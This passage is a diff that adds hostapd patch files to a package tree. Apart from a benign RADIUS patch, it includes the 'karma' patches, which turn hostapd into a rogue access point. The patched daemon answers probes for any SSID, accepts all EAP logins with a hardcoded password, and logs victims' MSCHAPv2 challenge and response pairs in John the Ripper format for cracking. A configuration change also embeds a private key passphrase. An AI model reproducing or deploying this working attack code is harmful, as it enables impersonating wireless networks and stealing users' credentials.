*cui; /* cui by me*/ ++ size_t cui_len; /*Size of the cached cui by me*/ + struct radius_class_data radius_class; + u8 eap_type_authsrv; + int vlan_id; +diff -urN hostapd-1.0.orig//src/common/ieee802_11_common.c hostapd-1.0/src/common/ieee802_11_common.c +--- hostapd-1.0.orig//src/common/ieee802_11_common.c 2012-05-10 05:56:09.000000000 +0800 ++++ hostapd-1.0/src/common/ieee802_11_common.c 2012-07-17 18:40:21.000000000 +0800 +@@ -31,8 +31,8 @@ + if (elen < 4) { + if (show_errors) { + wpa_printf(MSG_MSGDUMP, "short vendor specific " +- "information element ignored (len=%lu)", +- (unsigned long) elen); ++ "information element ignored (len=%lu)", ++ (unsigned long) elen); + } + return -1; + } +diff -urN hostapd-1.0.orig//src/eapol_auth/eapol_auth_sm_i.h hostapd-1.0/src/eapol_auth/eapol_auth_sm_i.h +--- hostapd-1.0.orig//src/eapol_auth/eapol_auth_sm_i.h 2012-05-10 05:56:09.000000000 +0800 ++++ hostapd-1.0/src/eapol_auth/eapol_auth_sm_i.h 2012-07-17 18:40:21.000000000 +0800 +@@ -75,6 +75,7 @@ + /* variables */ + Boolean eapolLogoff; + Boolean eapolStart; ++ Boolean cuiAvailable; /*to check CUI is available in AcessAccept*/ + PortTypes portMode; + unsigned int reAuthCount; + /* constants */ +@@ -159,6 +160,8 @@ + u8 last_eap_id; /* last used EAP Identifier */ + u8 *identity; + size_t identity_len; ++ u8 *cui; /*Define CUI Attribute*/ ++ size_t cui_len; /*Define CUI attribute length*/ + u8 eap_type_authsrv; /* EAP type of the last EAP packet from + * Authentication server */ + u8 eap_type_supp; /* EAP type of the last EAP packet from Supplicant */ +diff -urN hostapd-1.0.orig//src/radius/radius.c hostapd-1.0/src/radius/radius.c +--- hostapd-1.0.orig//src/radius/radius.c 2012-05-10 05:56:09.000000000 +0800 ++++ hostapd-1.0/src/radius/radius.c 2012-07-17 18:40:21.000000000 +0800 +@@ -24,16 +24,16 @@ + /** + * struct radius_msg - RADIUS message structure for new and parsed messages + */ +-struct radius_msg { ++//struct radius_msg { + /** + * buf - Allocated buffer for RADIUS message + */ +- struct wpabuf *buf; ++ //struct wpabuf *buf; + + /** + * hdr - Pointer to the RADIUS header in buf + */ +- struct radius_hdr *hdr; ++ //struct radius_hdr *hdr; + + /** + * attr_pos - Array of indexes to attributes +@@ -41,18 +41,18 @@ + * The values are number of bytes from buf to the beginning of + * struct radius_attr_hdr. + */ +- size_t *attr_pos; ++ //size_t *attr_pos; + + /** + * attr_size - Total size of the attribute pointer array + */ +- size_t attr_size; ++ //size_t attr_size; + + /** + * attr_used - Total number of attributes in the array + */ +- size_t attr_used; +-}; ++ //size_t attr_used; ++//}; + + + struct radius_hdr * radius_msg_get_hdr(struct radius_msg *msg) +@@ -66,7 +66,7 @@ + return msg->buf; + } + +- ++/* + static struct radius_attr_hdr * + radius_get_attr_hdr(struct radius_msg *msg, int idx) + { +@@ -74,7 +74,7 @@ + (wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]); + } + +- ++*/ + static void radius_msg_set_hdr(struct radius_msg *msg, u8 code, u8 identifier) + { + msg->hdr->code = code; +diff -urN hostapd-1.0.orig//src/radius/radius.h hostapd-1.0/src/radius/radius.h +--- hostapd-1.0.orig//src/radius/radius.h 2012-05-10 05:56:09.000000000 +0800 ++++ hostapd-1.0/src/radius/radius.h 2012-07-17 18:40:21.000000000 +0800 +@@ -21,6 +21,45 @@ + #pragma pack(push, 1) + #endif /* _MSC_VER */ + ++/************************/ ++struct radius_msg { ++ /** ++ * buf - Allocated buffer for RADIUS message ++ */ ++ struct wpabuf *buf; ++ ++ /** ++ * hdr - Pointer to the RADIUS header in buf ++ */ ++ struct radius_hdr *hdr; ++ ++ /** ++ * attr_pos - Array of indexes to attributes ++ * ++ * The values are number of bytes from buf to the beginning of ++ * struct radius_attr_hdr. ++ */ ++ size_t *attr_pos; ++ ++ /** ++ * attr_size - Total size of the attribute pointer array ++ */ ++ size_t attr_size; ++ ++ /** ++ * attr_used - Total number of attributes in the array ++ */ ++ size_t attr_used; ++}; ++ ++ ++ ++ ++/***********************/ ++ ++ ++ ++ + struct radius_hdr { + u8 code; + u8 identifier; +@@ -201,6 +240,10 @@ + size_t secret_len); + struct radius_attr_hdr * radius_msg_add_attr(struct radius_msg *msg, u8 type, + const u8 *data, size_t data_len); ++ ++/****************************/ ++ ++/*****************************/ + struct radius_msg * radius_msg_parse(const u8 *data, size_t len); + int radius_msg_add_eap(struct radius_msg *msg, const u8 *data, + size_t data_len); +@@ -238,7 +281,13 @@ + u32 val = htonl(value); + return radius_msg_add_attr(msg, type, (u8 *) &val, 4) != NULL; + } +- ++/**********************/ ++static struct radius_attr_hdr * radius_get_attr_hdr(struct radius_msg *msg, int idx) ++{ ++ return (struct radius_attr_hdr *) ++ (wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]); ++} ++/**************************/ + static inline int radius_msg_get_attr_int32(struct radius_msg *msg, u8 type, + u32 *value) + { diff --git a/net-wireless/hostapd/files/hostapd-0.7.3-karma.patch b/net-wireless/hostapd/files/hostapd-0.7.3-karma.patch new file mode 100644 index 00000000..e1cc89e3 --- /dev/null +++ b/net-wireless/hostapd/files/hostapd-0.7.3-karma.patch @@ -0,0 +1,481 @@ +diff -urN hostapd-0.7.3.orig/hostapd/Makefile hostapd-0.7.3/hostapd/Makefile +--- hostapd-0.7.3.orig/hostapd/Makefile 2010-09-07 23:43:39.000000000 +0800 ++++ hostapd-0.7.3/hostapd/Makefile 2011-05-02 15:59:46.787000009 +0800 +@@ -3,7 +3,7 @@ + endif + + ifndef CFLAGS +-CFLAGS = -MMD -O2 -Wall -g ++CFLAGS = -MMD -O2 -Wall -DDEBUG -g -pg + endif + + CFLAGS += -I../src +@@ -84,6 +84,7 @@ + + OBJS += ../src/eapol_auth/eapol_auth_sm.o + ++OBJS += ../src/karma/karma.o + + ifndef CONFIG_NO_DUMP_STATE + # define HOSTAPD_DUMP_STATE to include SIGUSR1 handler for dumping state to +diff -urN hostapd-0.7.3.orig/hostapd/hostapd.conf hostapd-0.7.3/hostapd/hostapd.conf +--- hostapd-0.7.3.orig/hostapd/hostapd.conf 2010-09-07 23:43:39.000000000 +0800 ++++ hostapd-0.7.3/hostapd/hostapd.conf 2011-05-02 15:59:46.788000008 +0800 +@@ -3,7 +3,7 @@ + + # AP netdevice name (without 'ap' postfix, i.e., wlan0 uses wlan0ap for + # management frames); ath0 for madwifi +-interface=wlan0 ++interface=wlan1 + + # In case of madwifi, atheros, and nl80211 driver interfaces, an additional + # configuration parameter, bridge, may be used to notify hostapd if the +@@ -23,6 +23,7 @@ + # Use driver=none if building hostapd as a standalone RADIUS server that does + # not control any wireless/wired driver. + # driver=hostap ++driver=nl80211 + + # hostapd event logger configuration + # +@@ -88,7 +89,7 @@ + # Country code (ISO/IEC 3166-1). Used to set regulatory domain. + # Set as needed to indicate country in which device is operating. + # This can limit available channels and transmit power. +-#country_code=US ++country_code=US + + # Enable IEEE 802.11d. This advertises the country_code and the set of allowed + # channels and transmit power levels based on the regulatory limits. The +@@ -99,14 +100,14 @@ + + # Operation mode (a = IEEE 802.11a, b = IEEE 802.11b, g = IEEE 802.11g, + # Default: IEEE 802.11b +-hw_mode=a ++hw_mode=b + + # Channel number (IEEE 802.11) + # (default: 0, i.e., not set) + # Please note that some drivers (e.g., madwifi) do not use this value from + # hostapd and the channel will need to be configuration separately with + # iwconfig. +-channel=60 ++channel=1 + + # Beacon interval in kus (1.024 ms) (default: 100; range 15..65535) + beacon_int=100 +@@ -410,7 +411,7 @@ + ##### IEEE 802.1X-2004 related configuration ################################## + + # Require IEEE 802.1X authorization +-#ieee8021x=1 ++ieee8021x=1 + + # IEEE 802.1X/EAPOL version + # hostapd is implemented based on IEEE Std 802.1X-2004 which defines EAPOL +@@ -418,7 +419,7 @@ + # the new version number correctly (they seem to drop the frames completely). + # In order to make hostapd interoperate with these clients, the version number + # can be set to the older version (1) with this configuration value. +-#eapol_version=2 ++eapol_version=1 + + # Optional displayable message sent with EAP Request-Identity. The first \0 + # in this string will be converted to ASCII-0 (nul). This can be used to +@@ -460,16 +461,18 @@ + # Use integrated EAP server instead of external RADIUS authentication + # server. This is also needed if hostapd is configured to act as a RADIUS + # authentication server. +-eap_server=0 ++eap_server=1 + + # Path for EAP server user database + #eap_user_file=/etc/hostapd.eap_user + + # CA certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS + #ca_cert=/etc/hostapd.ca.pem ++ca_cert=/etc/hostapd/sf_bundle.pem + + # Server certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS + #server_cert=/etc/hostapd.server.pem ++server_cert=/etc/hostapd/INTRANET.pem + + # Private key matching with the server certificate for EAP-TLS/PEAP/TTLS + # This may point to the same file as server_cert if both certificate and key +@@ -477,9 +480,11 @@ + # used by commenting out server_cert and specifying the PFX file as the + # private_key. + #private_key=/etc/hostapd.server.prv ++private_key=/etc/hostapd/INTRANET.pem + + # Passphrase for private key + #private_key_passwd=secret passphrase ++private_key_passwd=Cricket8 + + # Enable CRL verification. + # Note: hostapd does not yet support CRL downloading based on CDP. Thus, a +@@ -674,6 +679,7 @@ + # bit0 = WPA + # bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled) + #wpa=1 ++wpa=3 + + # WPA pre-shared keys for WPA-PSK. This can be either entered as a 256-bit + # secret in hex format (64 hex digits), wpa_psk, or as an ASCII passphrase +@@ -695,6 +701,7 @@ + # added to enable SHA256-based stronger algorithms. + # (dot11RSNAConfigAuthenticationSuitesTable) + #wpa_key_mgmt=WPA-PSK WPA-EAP ++wpa_key_mgmt=WPA-EAP + + # Set of accepted cipher suites (encryption algorithms) for pairwise keys + # (unicast packets). This is a space separated list of algorithms: +diff -urN hostapd-0.7.3.orig/hostapd/main.c hostapd-0.7.3/hostapd/main.c +--- hostapd-0.7.3.orig/hostapd/main.c 2010-09-07 23:43:39.000000000 +0800 ++++ hostapd-0.7.3/hostapd/main.c 2011-05-02 16:01:06.320000003 +0800 +@@ -36,6 +36,10 @@ + extern int wpa_debug_show_keys; + extern int wpa_debug_timestamp; + ++/* Karma Mode */ ++#include "karma/karma.h" ++int karma_beacon_respond = 0; ++int karma_eap_auth = 0; + + struct hapd_interfaces { + size_t count; +@@ -458,7 +462,7 @@ + show_version(); + fprintf(stderr, + "\n" +- "usage: hostapd [-hdBKtv] [-P ] " ++ "usage: hostapd [-hdBKtvRA] [-P ] " + "\n" + "\n" + "options:\n" +@@ -468,7 +472,9 @@ + " -P PID file\n" + " -K include key data in debug messages\n" + " -t include timestamps in some debug messages\n" +- " -v show hostapd version\n"); ++ " -v show hostapd version\n" ++ " -R [karma] respond to all probes using requested SSID\n" ++ " -A [karma] enable authentication attempt logging\n"); + + exit(1); + } +@@ -486,7 +492,7 @@ + return -1; + + for (;;) { +- c = getopt(argc, argv, "BdhKP:tv"); ++ c = getopt(argc, argv, "BdhKP:tvRA"); + if (c < 0) + break; + switch (c) { +@@ -511,6 +517,12 @@ + case 't': + wpa_debug_timestamp++; + break; ++ case 'R': ++ karma_beacon_respond++; ++ break; ++ case 'A': ++ karma_eap_auth++; ++ break; + case 'v': + show_version(); + exit(1); +diff -urN hostapd-0.7.3.orig/src/ap/beacon.c hostapd-0.7.3/src/ap/beacon.c +--- hostapd-0.7.3.orig/src/ap/beacon.c 2010-09-07 23:43:39.000000000 +0800 ++++ hostapd-0.7.3/src/ap/beacon.c 2011-05-02 15:59:46.789000006 +0800 +@@ -14,6 +14,11 @@ + * See README and COPYING for more details. + */ + ++#define _GNU_SOURCE ++#include ++ ++#include "karma/karma.h" ++ + #include "utils/includes.h" + + #ifndef CONFIG_NATIVE_WINDOWS +@@ -250,7 +255,24 @@ + if (sta) + sta->ssid_probe = &hapd->conf->ssid; + } +- ++ /* Karma Promiscuous Beacon Response Hack - JoMo-Kun */ ++ else if (karma_beacon_respond) { ++ char ssid_txt[33]; ++ char *message = NULL; ++ ++ ieee802_11_print_ssid(ssid_txt, elems.ssid, elems.ssid_len); ++ ++ if (asprintf(&message, "Probe request from " MACSTR " for SSID '%s'", MAC2STR(mgmt->sa), ssid_txt) < 0) ++ wpa_printf(MSG_ERROR, "Error allocating memory for Karma message\n"); ++ ++ karma_logger(0, message); ++ free(message); ++ ++ ssid = (char *)elems.ssid; ++ ssid_len = elems.ssid_len; ++ //if (sta) ++ // sta->ssid_probe = &elems.ssid; ++ } + if (!ssid) { + if (!(mgmt->da[0] & 0x01)) { + char ssid_txt[33]; +diff -urN hostapd-0.7.3.orig/src/ap/hostapd.c hostapd-0.7.3/src/ap/hostapd.c +--- hostapd-0.7.3.orig/src/ap/hostapd.c 2010-09-07 23:43:39.000000000 +0800 ++++ hostapd-0.7.3/src/ap/hostapd.c 2011-05-02 15:59:46.789000006 +0800 +@@ -12,6 +12,8 @@ + * See README and COPYING for more details. + */ + ++#include "karma/karma.h" ++ + #include "utils/includes.h" + + #include "utils/common.h" +diff -urN hostapd-0.7.3.orig/src/ap/ieee802_11.c hostapd-0.7.3/src/ap/ieee802_11.c +--- hostapd-0.7.3.orig/src/ap/ieee802_11.c 2010-09-07 23:43:39.000000000 +0800 ++++ hostapd-0.7.3/src/ap/ieee802_11.c 2011-05-02 15:59:46.790000004 +0800 +@@ -12,6 +12,8 @@ + * See README and COPYING for more details. + */ + ++#include "karma/karma.h" ++ + #include "utils/includes.h" + + #ifndef CONFIG_NATIVE_WINDOWS +@@ -533,8 +535,9 @@ + if (ssid_ie == NULL) + return WLAN_STATUS_UNSPECIFIED_FAILURE; + +- if (ssid_ie_len != hapd->conf->ssid.ssid_len || +- os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) { ++ /* Karma Promiscuous Beacon Response Hack - JoMo-Kun */ ++ if ((!karma_beacon_respond) && (ssid_ie_len != hapd->conf->ssid.ssid_len || ++ os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0)) { + char ssid_txt[33]; + ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len); + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, +diff -urN hostapd-0.7.3.orig/src/eap_server/eap_server.c hostapd-0.7.3/src/eap_server/eap_server.c +--- hostapd-0.7.3.orig/src/eap_server/eap_server.c 2010-09-07 23:43:39.000000000 +0800 ++++ hostapd-0.7.3/src/eap_server/eap_server.c 2011-05-02 15:59:46.791000002 +0800 +@@ -18,6 +18,11 @@ + * backend_auth configuration variable to TRUE. + */ + ++#define _GNU_SOURCE ++#include ++ ++#include "karma/karma.h" ++ + #include "includes.h" + + #include "common.h" +@@ -99,24 +104,51 @@ + int eap_user_get(struct eap_sm *sm, const u8 *identity, size_t identity_len, + int phase2) + { +- struct eap_user *user; +- +- if (sm == NULL || sm->eapol_cb == NULL || +- sm->eapol_cb->get_eap_user == NULL) +- return -1; +- +- eap_user_free(sm->user); ++ struct eap_user *user; ++ char *username = NULL; ++ char *message = NULL; ++ ++ eap_user_free(sm->user); + sm->user = NULL; + +- user = os_zalloc(sizeof(*user)); +- if (user == NULL) +- return -1; ++ user = os_zalloc(sizeof(*user)); ++ if (user == NULL) ++ return -1; ++ ++ /* Karma Mode: Accept all requests, regardless of username - JoMo-Kun */ ++ if (karma_eap_auth) ++ { ++ user->methods[0].vendor = sm->respVendor; ++ user->password = os_zalloc(9); ++ strncpy((char *)user->password, "Cricket8", 8); /* Magic password allows successful authentication */ ++ user->password_len = 8; ++ ++ if (phase2) ++ user->methods[0].method = EAP_TYPE_MSCHAPV2; ++ else // TODO: what happens if we propose LEAP? ++ user->methods[0].method = EAP_TYPE_PEAP; ++ ++ username = os_zalloc(sm->identity_len + 1); ++ strncpy(username, (char *)sm->identity, (size_t)sm->identity_len); ++ ++ if (asprintf(&message, "Authentication Request - Username: %s Vendor: %d Method: %d", username, sm->respVendor, sm->respVendorMethod) < 0) ++ printf("Error allocating memory for request message.\n"); ++ ++ karma_logger(0, message); ++ free(message); ++ } ++ else ++ { ++ if (sm == NULL || sm->eapol_cb == NULL || ++ sm->eapol_cb->get_eap_user == NULL) ++ return -1; + +- if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity, +- identity_len, phase2, user) != 0) { +- eap_user_free(user); +- return -1; +- } ++ if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity, ++ identity_len, phase2, user) != 0) { ++ eap_user_free(user); ++ return -1; ++ } ++ } + + sm->user = user; + sm->user_eap_method_index = 0; +diff -urN hostapd-0.7.3.orig/src/eap_server/eap_server_mschapv2.c hostapd-0.7.3/src/eap_server/eap_server_mschapv2.c +--- hostapd-0.7.3.orig/src/eap_server/eap_server_mschapv2.c 2010-09-07 23:43:39.000000000 +0800 ++++ hostapd-0.7.3/src/eap_server/eap_server_mschapv2.c 2011-05-02 15:59:46.792000002 +0800 +@@ -12,6 +12,8 @@ + * See README and COPYING for more details. + */ + ++#include "karma/karma.h" ++ + #include "includes.h" + + #include "common.h" +@@ -289,13 +291,15 @@ + struct wpabuf *respData) + { + struct eap_mschapv2_hdr *resp; +- const u8 *pos, *end, *peer_challenge, *nt_response, *name; ++ const u8 *pos, *end, *auth_challenge, *peer_challenge, *nt_response, *name; + u8 flags; + size_t len, name_len, i; + u8 expected[24]; + const u8 *username, *user; + size_t username_len, user_len; + int res; ++ char *auth_creds = NULL; ++ int auth_creds_len = 0; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData, + &len); +@@ -335,6 +339,38 @@ + wpa_printf(MSG_MSGDUMP, "EAP-MSCHAPV2: Flags 0x%x", flags); + wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-MSCHAPV2: Name", name, name_len); + ++ /* Karma Mode: Log MSCHAPv2 exchange in John format - JoMo-Kun */ ++ /* user::domain (unused):authenticator challenge:mschapv2 response:peer challenge */ ++ if (karma_eap_auth) ++ { ++ auth_creds_len = sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 16*2; ++ auth_creds = os_malloc(auth_creds_len + 1); ++ memset(auth_creds, 0, auth_creds_len + 1); ++ ++ strncpy(auth_creds, (char *)sm->identity, sm->identity_len); ++ sprintf(auth_creds + sm->identity_len, ":::"); ++ ++ /* Authenticator Challenge */ ++ auth_challenge = data->auth_challenge; ++ for (i=0; i<16; i++) ++ sprintf(auth_creds + sm->identity_len + 3 + 2*i, "%2.2X", 0xFF & (int)auth_challenge[i]); ++ ++ sprintf(auth_creds + sm->identity_len + 3 + 16*2, ":"); ++ ++ /* MSCHAPv2 Response */ ++ for (i=0; i<24; i++) ++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 2*i, "%2.2X", 0xFF & (int)nt_response[i]); ++ ++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2, ":"); ++ ++ /* Peer Challenge */ ++ for (i=0; i<16; i++) ++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 2*i, "%2.2X", 0xFF & (int)peer_challenge[i]); ++ ++ karma_logger(1, auth_creds); ++ free(auth_creds); ++ } ++ + /* MSCHAPv2 does not include optional domain name in the + * challenge-response calculation, so remove domain prefix + * (if present). */ +diff -urN hostapd-0.7.3.orig/src/karma/karma.c hostapd-0.7.3/src/karma/karma.c +--- hostapd-0.7.3.orig/src/karma/karma.c 1970-01-01 07:30:00.000000000 +0730 ++++ hostapd-0.7.3/src/karma/karma.c 2011-05-02 15:59:46.792000002 +0800 +@@ -0,0 +1,43 @@ ++#define _GNU_SOURCE ++#include ++ ++#include "common.h" ++#include "includes.h" ++#include "trace.h" ++ ++#include "karma/karma.h" ++ ++/* Karma Mode: Log data related to MSCHAPv2 challenge/response authentication attempts */ ++extern void karma_logger(int type, char *message) ++{ ++ FILE *logfd; ++ time_t cur_time; ++ struct tm *tm_ptr; ++ char time_buf[256]; ++ /* General: probe requests, username requests */ ++ logfd = fopen("./hostapd-karma.txt", "a"); ++ if (logfd == NULL) { ++ fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.txt\n"); ++ logfd = stderr; ++ } ++ ++ cur_time = time(NULL); ++ (void) time(&cur_time); ++ tm_ptr = localtime(&cur_time); ++ strftime(time_buf, 256, "%Y-%m-%d %H:%M:%S", tm_ptr); ++ fprintf(logfd, "%s:%s\n", time_buf, message); ++ fprintf(stderr, "[karma] %s:%s\n", time_buf, message); ++ fclose(logfd); ++ ++ /* MSCHAPv2 Challenge/Response */ ++ if (type == 1) ++ { ++ logfd = fopen("./hostapd-karma.lc", "a"); ++ if (logfd == NULL) { ++ fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.lc\n"); ++ logfd = stderr; ++ } ++ fprintf(logfd, "%s\n", message); ++ fclose(logfd); ++ } ++} +diff -urN hostapd-0.7.3.orig/src/karma/karma.h hostapd-0.7.3/src/karma/karma.h +--- hostapd-0.7.3.orig/src/karma/karma.h 1970-01-01 07:30:00.000000000 +0730 ++++ hostapd-0.7.3/src/karma/karma.h 2011-05-02 15:59:46.792000002 +0800 +@@ -0,0 +1,3 @@ ++extern int karma_beacon_respond; ++extern int karma_eap_auth; ++extern void karma_logger(int, char*); +diff -urN hostapd-0.7.3.orig/src/utils/wpa_debug.c hostapd-0.7.3/src/utils/wpa_debug.c +--- hostapd-0.7.3.orig/src/utils/wpa_debug.c 2010-09-07 23:43:39.000000000 +0800 ++++ hostapd-0.7.3/src/utils/wpa_debug.c 2011-05-02 15:59:46.793000003 +0800 +@@ -22,6 +22,8 @@ + static int wpa_debug_syslog = 0; + #endif /* CONFIG_DEBUG_SYSLOG */ + ++/* Karma Mode */ ++#include "karma/karma.h" + + #ifdef CONFIG_DEBUG_FILE + static FILE *out_file = NULL; diff --git a/net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch b/net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch new file mode 100644 index 00000000..d16424d1 --- /dev/null +++ b/net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch @@ -0,0 +1,1199 @@ +diff -Nur hostapd-1.0/hostapd/.config hostapd-1.0-karma/hostapd/.config +--- hostapd-1.0/hostapd/.config 1970-01-01 01:00:00.000000000 +0100 ++++ hostapd-1.0-karma/hostapd/.config 2012-08-06 16:55:02.000000000 +0100 +@@ -0,0 +1,246 @@ ++# Example hostapd build time configuration ++# ++# This file lists the configuration options that are used when building the ++# hostapd binary. All lines starting with # are ignored. Configuration option ++# lines must be commented out complete, if they are not to be included, i.e., ++# just setting VARIABLE=n is not disabling that variable. ++# ++# This file is included in Makefile, so variables like CFLAGS and LIBS can also ++# be modified from here. In most cass, these lines should use += in order not ++# to override previous values of the variables. ++ ++# Driver interface for Host AP driver ++CONFIG_DRIVER_HOSTAP=y ++ ++# Driver interface for wired authenticator ++#CONFIG_DRIVER_WIRED=y ++ ++# Driver interface for madwifi driver ++#CONFIG_DRIVER_MADWIFI=y ++#CFLAGS += -I../../madwifi # change to the madwifi source directory ++ ++# Driver interface for drivers using the nl80211 kernel interface ++CONFIG_DRIVER_NL80211=y ++ ++# Driver interface for FreeBSD net80211 layer (e.g., Atheros driver) ++#CONFIG_DRIVER_BSD=y ++#CFLAGS += -I/usr/local/include ++#LIBS += -L/usr/local/lib ++#LIBS_p += -L/usr/local/lib ++#LIBS_c += -L/usr/local/lib ++ ++# Driver interface for no driver (e.g., RADIUS server only) ++#CONFIG_DRIVER_NONE=y ++ ++# IEEE 802.11F/IAPP ++CONFIG_IAPP=y ++ ++# WPA2/IEEE 802.11i RSN pre-authentication ++CONFIG_RSN_PREAUTH=y ++ ++# PeerKey handshake for Station to Station Link (IEEE 802.11e DLS) ++CONFIG_PEERKEY=y ++ ++# IEEE 802.11w (management frame protection) ++# This version is an experimental implementation based on IEEE 802.11w/D1.0 ++# draft and is subject to change since the standard has not yet been finalized. ++# Driver support is also needed for IEEE 802.11w. ++#CONFIG_IEEE80211W=y ++ ++# Integrated EAP server ++CONFIG_EAP=y ++ ++# EAP-MD5 for the integrated EAP server ++CONFIG_EAP_MD5=y ++ ++# EAP-TLS for the integrated EAP server ++CONFIG_EAP_TLS=y ++ ++# EAP-MSCHAPv2 for the integrated EAP server ++CONFIG_EAP_MSCHAPV2=y ++ ++# EAP-PEAP for the integrated EAP server ++CONFIG_EAP_PEAP=y ++ ++# EAP-GTC for the integrated EAP server ++CONFIG_EAP_GTC=y ++ ++# EAP-TTLS for the integrated EAP server ++CONFIG_EAP_TTLS=y ++ ++# EAP-SIM for the integrated EAP server ++#CONFIG_EAP_SIM=y ++ ++# EAP-AKA for the integrated EAP server ++#CONFIG_EAP_AKA=y ++ ++# EAP-AKA' for the integrated EAP server ++# This requires CONFIG_EAP_AKA to be enabled, too. ++#CONFIG_EAP_AKA_PRIME=y ++ ++# EAP-PAX for the integrated EAP server ++#CONFIG_EAP_PAX=y ++ ++# EAP-PSK for the integrated EAP server (this is _not_ needed for WPA-PSK) ++#CONFIG_EAP_PSK=y ++ ++# EAP-pwd for the integrated EAP server (secure authentication with a password) ++#CONFIG_EAP_PWD=y ++ ++# EAP-SAKE for the integrated EAP server ++#CONFIG_EAP_SAKE=y ++ ++# EAP-GPSK for the integrated EAP server ++#CONFIG_EAP_GPSK=y ++# Include support for optional SHA256 cipher suite in EAP-GPSK ++#CONFIG_EAP_GPSK_SHA256=y ++ ++# EAP-FAST for the integrated EAP server ++# Note: Default OpenSSL package does not include support for all the ++# functionality needed for EAP-FAST. If EAP-FAST is enabled with OpenSSL, ++# the OpenSSL library must be patched (openssl-0.9.9-session-ticket.patch) ++# to add the needed functions. ++#CONFIG_EAP_FAST=y ++ ++# Wi-Fi Protected Setup (WPS) ++#CONFIG_WPS=y ++# Enable WSC 2.0 support ++#CONFIG_WPS2=y ++# Enable UPnP support for external WPS Registrars ++#CONFIG_WPS_UPNP=y ++ ++# EAP-IKEv2 ++#CONFIG_EAP_IKEV2=y ++ ++# Trusted Network Connect (EAP-TNC) ++#CONFIG_EAP_TNC=y ++ ++# PKCS#12 (PFX) support (used to read private key and certificate file from ++# a file that usually has extension .p12 or .pfx) ++CONFIG_PKCS12=y ++ ++# RADIUS authentication server. This provides access to the integrated EAP ++# server from external hosts using RADIUS. ++#CONFIG_RADIUS_SERVER=y ++ ++# Build IPv6 support for RADIUS operations ++CONFIG_IPV6=y ++ ++# IEEE Std 802.11r-2008 (Fast BSS Transition) ++#CONFIG_IEEE80211R=y ++ ++# Use the hostapd's IEEE 802.11 authentication (ACL), but without ++# the IEEE 802.11 Management capability (e.g., madwifi or FreeBSD/net80211) ++#CONFIG_DRIVER_RADIUS_ACL=y ++ ++# IEEE 802.11n (High Throughput) support ++#CONFIG_IEEE80211N=y ++ ++# Remove debugging code that is printing out debug messages to stdout. ++# This can be used to reduce the size of the hostapd considerably if debugging ++# code is not needed. ++#CONFIG_NO_STDOUT_DEBUG=y ++ ++# Add support for writing debug log to a file: -f /tmp/hostapd.log ++# Disabled by default. ++CONFIG_DEBUG_FILE=y ++ ++# Remove support for RADIUS accounting ++#CONFIG_NO_ACCOUNTING=y ++ ++# Remove support for RADIUS ++#CONFIG_NO_RADIUS=y ++ ++# Remove support for VLANs ++#CONFIG_NO_VLAN=y ++ ++# Enable support for fully dynamic VLANs. This enables hostapd to ++# automatically create bridge and VLAN interfaces if necessary. ++#CONFIG_FULL_DYNAMIC_VLAN=y ++ ++# Remove support for dumping state into a file on SIGUSR1 signal ++# This can be used to reduce binary size at the cost of disabling a debugging ++# option. ++#CONFIG_NO_DUMP_STATE=y ++ ++# Enable tracing code for developer debugging ++# This tracks use of memory allocations and other registrations and reports ++# incorrect use with a backtrace of call (or allocation) location. ++#CONFIG_WPA_TRACE=y ++# For BSD, comment out these. ++#LIBS += -lexecinfo ++#LIBS_p += -lexecinfo ++#LIBS_c += -lexecinfo ++ ++# Use libbfd to get more details for developer debugging ++# This enables use of libbfd to get more detailed symbols for the backtraces ++# generated by CONFIG_WPA_TRACE=y. ++#CONFIG_WPA_TRACE_BFD=y ++# For BSD, comment out these. ++#LIBS += -lbfd -liberty -lz ++#LIBS_p += -lbfd -liberty -lz ++#LIBS_c += -lbfd -liberty -lz ++ ++# hostapd depends on strong random number generation being available from the ++# operating system. os_get_random() function is used to fetch random data when ++# needed, e.g., for key generation. On Linux and BSD systems, this works by ++# reading /dev/urandom. It should be noted that the OS entropy pool needs to be ++# properly initialized before hostapd is started. This is important especially ++# on embedded devices that do not have a hardware random number generator and ++# may by default start up with minimal entropy available for random number ++# generation. ++# ++# As a safety net, hostapd is by default trying to internally collect ++# additional entropy for generating random data to mix in with the data ++# fetched from the OS. This by itself is not considered to be very strong, but ++# it may help in cases where the system pool is not initialized properly. ++# However, it is very strongly recommended that the system pool is initialized ++# with enough entropy either by using hardware assisted random number ++# generator or by storing state over device reboots. ++# ++# hostapd can be configured to maintain its own entropy store over restarts to ++# enhance random number generation. This is not perfect, but it is much more ++# secure than using the same sequence of random numbers after every reboot. ++# This can be enabled with -e command line option. The specified ++# file needs to be readable and writable by hostapd. ++# ++# If the os_get_random() is known to provide strong random data (e.g., on ++# Linux/BSD, the board in question is known to have reliable source of random ++# data from /dev/urandom), the internal hostapd random pool can be disabled. ++# This will save some in binary size and CPU use. However, this should only be ++# considered for builds that are known to be used on devices that meet the ++# requirements described above. ++#CONFIG_NO_RANDOM_POOL=y ++ ++# Select TLS implementation ++# openssl = OpenSSL (default) ++# gnutls = GnuTLS ++# internal = Internal TLSv1 implementation (experimental) ++# none = Empty template ++#CONFIG_TLS=openssl ++ ++# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.1) ++# can be enabled to get a stronger construction of messages when block ciphers ++# are used. 